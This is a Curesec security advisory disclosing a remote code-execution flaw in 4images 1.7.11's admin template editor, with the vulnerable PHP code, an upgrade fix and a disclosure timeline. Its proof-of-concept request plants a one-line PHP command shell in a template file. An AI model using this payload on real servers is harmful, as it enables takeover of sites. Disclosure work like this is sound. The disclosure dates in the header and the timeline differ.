4images 1.7.11 Code Execution
Posted on 10 December 2015
Security Advisory - Curesec Research Team 1. Introduction Affected Product: 4images 1.7.11 Fixed in: 1.7.12 Fixed Version Link: http://www.4homepages.de/download-4images Vendor Website: http://www.4homepages.de/ Vulnerability Type: Code Execution Remote Exploitable: Yes Reported to vendor: 09/29/2015 Disclosed to public: 11/04/2015 Release mode: Coordinated release CVE: Requested, but not assigned Credits Tim Coen of Curesec GmbH 2. Vulnerability Description CVSS High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C Description 4images comes with a HTML Template editor which allows the editing of HTML files. But it will also create a new file if the passed file name does not already exist. When doing this, it does not check that the extension of the passed file is .html. Admin credentials are required to use the HTML template editor. 3. Proof of Concept POST /4images/admin/templates.php HTTP/1.1 __csrf=28a9a05b480c3f8ed326523b1ce7532c&action=savetemplate&content=<?php passthru($_GET['x']);&template_file_name=categories.php&template_folder=default 4. Code /admin/templates.php if (isset($HTTP_GET_VARS['template_file_name']) || isset($HTTP_POST_VARS['template_file_name'])) { $template_file_name = (isset($HTTP_GET_VARS['template_file_name'])) ? trim($HTTP_GET_VARS['template_file_name']) : trim($HTTP_POST_VARS['template_file_name']); $template_file_name = (strpos($template_file_name, 'media/') !== false ? 'media/' : '') . basename($template_file_name); } else { $template_file_name = ""; } if ($action == "savetemplate") { if (isset($HTTP_POST_VARS['content'])) { $content = trim($HTTP_POST_VARS['content']); } else { $content = ""; } if ($template_file_name != "" && $content != "") { $content = un_htmlspecialchars($content); $content = stripslashes($content); $fp = @fopen(ROOT_PATH.TEMPLATE_DIR."/".$template_folder."/".$template_file_name, "w+"); if (@fwrite($fp, $content)) { $msg = $lang['template_edit_success']; } else { $msg = sprintf("<span class="marktext">%s</span>", $lang['template_edit_error']); } } $action = "modifytemplates"; } 5. Solution To mitigate this issue please upgrade at least to version 1.7.12: http://www.4homepages.de/download-4images Please note that a newer version might already be available. 6. Report Timeline 09/29/2015 Informed Vendor about Issue 10/21/2015 Reminded Vendor of Disclosure Date 11/03/2015 Vendor releases fix 11/17/2015 CVE Requested (no reply) 12/02/2015 Disclosed to public Blog Reference: https://blog.curesec.com/article/blog/4images-1711-Code-Execution-105.html -- blog: https://blog.curesec.com tweet: https://twitter.com/curesec Curesec GmbH Curesec Research Team Romain-Rolland-Str 14-24 13089 Berlin, Germany
